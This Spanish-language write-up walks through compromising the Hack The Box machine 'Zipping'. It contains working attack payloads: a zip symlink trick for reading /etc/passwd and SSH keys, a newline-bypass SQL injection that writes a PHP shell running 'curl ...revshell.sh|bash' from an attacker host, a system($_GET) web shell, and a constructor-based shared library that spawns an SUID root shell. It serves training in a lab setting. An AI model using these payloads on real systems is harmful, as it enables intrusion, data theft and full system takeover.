Zipping

En este artículo abordaremos la resolución de la máquina Zipping de la plataforma Hack The Box. En primer lugar, explotaremos una vulnerabilidad conocida como Zip Symlink Upload, que nos permitirá leer archivos del sistema y del sitio web. Posteriormente, descubriremos que uno de estos archivos recibe un parámetro a través de GET, utilizado para ejecutar una consulta SQL que carece de parámetros y no realiza la debida sanitización de la entrada del usuario. Sin embargo, enfrentaremos una validación previa mediante la función preg_match de PHP, que podremos eludir aplicando la técnica New Line Bypass, otorgándonos acceso al sistema. Finalmente, para escalar nuestros privilegios, nos valdremos de un binario que podemos ejecutar con sudo sin requerir contraseña, explotando la vulnerabilidad conocida como Linux Shared Library Hijacking.

Reconocimiento

Comenzamos lanzando una traza ICMP a la máquina objetivo para comprobar que tengamos conectividad.

Vemos que responde al envío de nuestro paquete, verificando de esta manera que tenemos conectividad. Por otra parte, confirmamos que estamos frente a una máquina Linux basandonos en el TTL (Time To Live).

Enumeración

Descubrimiento de puertos abiertos

Realizamos un escaneo con nmap para descubrir que puertos TCP se encuentran abiertos en la máquina víctima.

nmap -sS -p- --open --min-rate 5000 -Pn -n 10.10.11.229 -oG scanPorts -vvv

Parámetros utilizados:

  • -sS: Realiza un TCP SYN Scan para escanear de manera sigilosa, es decir, que no completa las conexiones TCP con los puertos de la máquina víctima.

  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535).

  • --open: Solo considerar puertos abiertos.

  • --min-rate 5000: Establece el número mínimo de paquetes que nmap enviará por segundo.

  • -Pn: Desactiva el descubrimiento de host por medio de ping.

  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

  • -oG: Determina el formato del archivo en el cual se guardan los resultados obtenidos. En este caso, es un formato grepeable, el cual almacena todo en una sola línea. De esta forma, es más sencillo procesar y obtener los puertos abiertos por medio de expresiones regulares, en conjunto con otras utilidades como pueden ser grep, awk, sed, entre otras.

Enumeración de versión y servicio

Utilizamos la función extractPorts, para extraer y copiar los puertos en la clipboard y no tener que copiar estos de forma manual.

Lanzamos una serie de script básicos de enumeración propios de nmap, para conocer la versión y servicio que esta corriendo bajo los puertos abiertos.

nmap -sCV -p22,80 10.10.11.229 -oN targeted -vvv

Parámetros utilizados:

  • -sCV Es la combinación de los parámetros -sC y -sV. El primero determina que se utilizarán una serie de scripts básiscos de enumeración propios de nmap, para conocer el servicio que esta corriendo en dichos puertos. Por su parte, el segundo parámetro permite conocer más acerca de la versión de ese servicio.

  • -p-: Indica que debe escanear todos los puertos (es igual a -p 1-65535)

  • -oN: Determina el formato del archivo en el cual se guardan los resultados obtenidos, junto con el nombre del archivo targeted. En este caso, utiliza el formato por defecto de nmap.

  • -vvv: Activa el modo verbose para que nos muestre resultados a medida que los encuentra.

Solo por motivos de comodidad, agregamos al archivo /etc/hosts el dominio zipping.htb para que al apuntar a este nos resuelva la ip de la máquina víctima.

echo "10.10.11.229 zipping.htb" | tee -a /etc/hosts

Explotación

Si ingresamos al dominio zipping.htb desde nuestro navegador, nos encontramos con el suguiente sitio web:

Utilizamos Wappalayzer para conocer un poco acerca de las tecnologías que utiliza el sitio web

Vemos que utiliza Apache (2.4.54) como servidor web, Ubuntu como sistema operativo y como lenguaje de programación PHP del cual no sabemos la versión.

Al explorar el sitio web, nos encontramos con la sección titulada “WORKING WITH US”. En esta sección, se presenta un formulario que tiene como proposito subir el currículum vitae de los nuevos candidatos. Se especifica que únicamente se aceptan archivos con extensión .zip y que dentro de dicho archivo debe existir únicamente un documento en formato .pdf.

Conociendo que el sitio web esta construido con PHP, intentemos subir un archivo con esta extensión.

shell.php
<?php
system($_GET['cmd']);

Vemos que al intentar subir el fichero, nos arroja un error.

Probemos crear un archivo zip que contenga nuestro fichero php.

zip file.zip shell.php

Al subir el archivo, vemos que nuevamente nos lanza un error. En este caso, nos dice que el archivo zip solo debe contener archivos con extensión .pdf.

Investigando sobre las posibles vulnerabilidades al momento subir un archivo .zip, descubrí una técnica que consiste en crear un enlace simbólico que apunte a un archivo del sistema, (ejemplo /etc/passwd) y luego crear un archivo zip que incluya el enlace simbólico creado anteriormente manteniendo la información de dicho enlace. Posteriormente, al acceder a los archivos descomprimidos, se puede obtener acceso a los archivos vinculados.

Referencias: File Upload - HackTricks

Probemos realizar esta técnica creando un archivo zip que contenga un enlace simbólico al archivo /etc/passwd.

ln -s ../../../../../../../etc/passwd file.pdf
zip --symlinks file.zip file.pdf

Interceptemos la petición con Burp Suite para trabajar más comodo y tener mayor control sobre la solicitud.

Enviamos la solicitud al Repeater y volvemos a realizar la petición.

Vemos que logramos subir el archivo y nos devuelve la ruta para poder acceder

Hagamos una petición usando curl a esa ruta:

Observamos que hemos logrado leer el contenido del archivo /etc/passwd, explotando así la vulnerabilidad.

Podemos notar que existen dos usuarios en la máquina víctima que cuentan con una shell, root y el usuario rektsu.

Intentemos ver si podemos encontrar la clave id_rsa del usuario rektsu que nos permita acceder por SSH.

Creamos nuevamente nuestro archivo zip, pero ahora nuestro enlace simbólico debe apuntar a ../../../../../../../home/rektsu/.ssh/id_rsa

ln -s ../../../../../../../home/rektsu/.ssh/id_rsa file.pdf
zip --symlinks file.zip file.pdf

Hacemos nuevamente una petición con curl a la ruta indicada, pero vemos que responde con un código de estado 404.

ln -s ../../../../../../../var/www/html/upload.php file.pdf
zip --symlinks file.zip file.pdf

Logramos poder leer el archivo que se encarga de realizar la subida de ficheros, pero no encontramos nada interesante.

Si exploramos el sitio web, más especificamente la sección Store, podemos observar que las páginas de este componente del sitio se determinan en base al parámetro page enviado a través de la url.

http://zipping.htb/shop/index.php?page=products
http://zipping.htb/shop/index.php?page=cart
http://zipping.htb/shop/index.php?page=product&id=2

Intentemos leer estos archivo por medio de la técnica vista anteriormente.

ln -s ../../../../../../../var/www/html/shop/products.php file.pdf
zip --symlinks file.zip file.pdf

Este código PHP maneja la paginación y muestra productos de una base de datos, pero no expone nada que podamos explotar ya que las consultas sql estan parametrizadas.

Probemos ahora leer el archivo index.php.

ln -s ../../../../../../../var/www/html/shop/index.php file.pdf
zip --symlinks file.zip file.pdf

Vemos que esta importando otro archivo llamado functions.php, intentemos leer este fichero.

Encontramos unas credenciales que son utilizadas para conectarse a la base de datos.

Si probamos estas credenciales para acceder por ssh con el usuario rektsu, no funcionan, confirmando que no hay reutilización de credenciales.

Probemos leer ahora el archivo product.php.

Notamos algo interesante y es que este archivo recibe el parámetro id a través del método GET. Dicho parámetro hace referencia a un posible id de un producto. El mismo, se utiliza para consultar productos en la base de datos, pero en ningun momento se escapa o sanitiza, si no que se utiliza directamente en la consulta sql. De esta forma, como se indica también en el comentario, esta consulta es propensa a inyecciones SQL.

New line bypass - preg_match

Examinando el código, vemos que no podemos generar un inyección sql directamente, ya que en la linea 6 se esta realizando una validación con la función preg_match. Investigando un poco sobre este tema, encontré una técnica que sirve para realizar un bypass de esta validación. La misma consiste en enviar nuestro payload en varias lineas, ya que al delimitar el inicio de la expresión regular preg_match, solo verifica la primera línea de la entrada del usuario.

Referencia: New line bypass

Interceptamos la petición con Burp Suite y la enviamos al Repeater.

Para eludir esta verificación, debemos enviar el valor con saltos de línea aplicando el método de codificación URL (urlencoded) %0A.

Lo que haremos es ejecutar una consulta, la cual escriba un payload especifico en un archivo dentro de una ruta del sistema en la cual tengamos permisos de escritura. En este caso, la ruta en la cual guardaremos nuestro payload es /var/lib/mysql.

El payload que enviaremos es el siguiente:

';select '<?php system("curl http://10.10.14.38/revshell.sh|bash") ?>' into outfile '/var/lib/mysql/a.php'#1
%0A'%3bselect+'<%3fphp+system("curl+http%3a//10.10.14.38/revshell.sh|bash")+%3f>'+into+outfile+'/var/lib/mysql/a.php'%231

Luego, creamos un archivo .sh que contenga nuestra reverse shell:

Creamos un servidor HTTP con Python para compartir nuestra reverse shell.

Nos ponemos en escucha con nc (netcat) por el puerto 4444.

Ejecutamos la petición

GET /shop/index.php?page=product&id=%0A'%3bselect+'<%3fphp+system("curl+http%3a//10.10.14.38/revshell.sh|bash")+%3f>'+into+outfile+'/var/lib/mysql/a.php'%231 HTTP/1.1
Host: zipping.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: close
Cookie: PHPSESSID=2id3kjr4t69l0fg99j9ki12h29
Upgrade-Insecure-Requests: 1

Y de esta forma logramos ganar acceso al sistema.

Leemos el flag del usuario.

Escalación de privilegios

Luego de hacer una enumeración básica del sistema, encontramos que podemos ejecutar el binario /usr/bin/stock sin que se requiera la introducción de una contraseña.

Al ejecutar el binario, vemos que nos solicita una contraseña para poder ejecutarlo

Si analizamos el binario usando el comando strings, logramos ver que la contraseña se encuentra hardcodeada directamente en el código St0ckM4nager.

Si ejecutamos el binario vemos que nos despliga el siguiente menú

Luego de realizar algunas pruebas, comprobando por ejemplo si era vulnerable a buffer overflow, decidí examinar el binario utilizando la herramienta strace.

El comando strace es una herramienta de línea de comandos en sistemas basados en Unix y Linux que se utiliza para realizar un seguimiento de las llamadas al sistema y las señales que realiza un programa durante su ejecución. Ayuda a diagnosticar problemas de rendimiento, depurar programas y entender su comportamiento interactuando con el sistema operativo a un nivel más bajo.

Al hacer esto, encontre que la aplicación estaba intentando cargar la libreria /home/rektsu/.config/libcounter.so la cual no existe. Por lo tanto, podemos crear la libreria compartida para escalar nuestros privilegios.

Linux Shared Library Hijacking

La “Linux Shared Library Hijacking” (también conocida como “DLL hijacking” en sistemas Windows) es una vulnerabilidad de seguridad que ocurre cuando un programa ejecutable carga una biblioteca dinámica (comúnmente un archivo .so en sistemas Linux) usando un nombre relativo o sin especificar una ruta completa. Si la biblioteca no se encuentra en la ubicación esperada, el sistema operativo buscará en varios directorios del sistema, y un atacante podría aprovechar esto colocando una versión maliciosa de la biblioteca en uno de esos directorios, lo que permitiría ejecutar código arbitrario.

Referencia: Linux Shared Library Hijacking

Para explotar esta vulnerabilidad utilicé el siguiente código:

#include <stdio.h>
#include <stdlib.h>

static void privesc() __attribute__((constructor));

void privesc() {
 system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}

El código anterior asigna permisos SUID al binario /bin/bash. La función privesc está marcada con el atributo constructor, lo que significa que se ejecutará automáticamente al cargar el programa en el que se encuentra, es decir, antes de llamar a la función main(). El código en la función privesc copia el ejecutable /bin/bash a /tmp/bash, establece el bit de setuid en el nuevo archivo y luego ejecuta /tmp/bash -p, logrando así ejecutar una shell como el usuario root.

Para crear la libreria compartida, ejecutamos el siguiente código:

gcc -shared -o /home/rektsu/.config/libcounter.so -fPIC /tmp/libcounter.c

Parámetros utilizados:

  • -shared: Indica al compilador que genere una biblioteca compartida en lugar de un ejecutable.

  • -o: Especifica el nombre del archivo de salida (en este caso, /home/rektsu/.config/libcounter.so).

  • /home/rektsu/.config/libcounter.so: Ruta y nombre del archivo de salida de la biblioteca compartida.

  • -fPIC: Indica que el código generado debe ser independiente de la posición (Position Independent Code), necesario para bibliotecas compartidas.

  • /tmp/libcounter.c: Ruta y nombre del archivo fuente en C que se compilará.

Ejecutamos el binario /usr/bin/stock, logrando escalar nuestro privilegios a root.

De esta manera, ya podemos leer el flag de root.txt.

Con esto, concluimos la resolución de la máquina Zipping.

Confío en que los conceptos hayan quedado claros. Si aún persisten dudas después de llegar a este punto, te sugiero considerar la posibilidad de revisitar la máquina para reforzar tu comprensión.

Gracias por tu lectura!

Happy Hacking!

Última actualización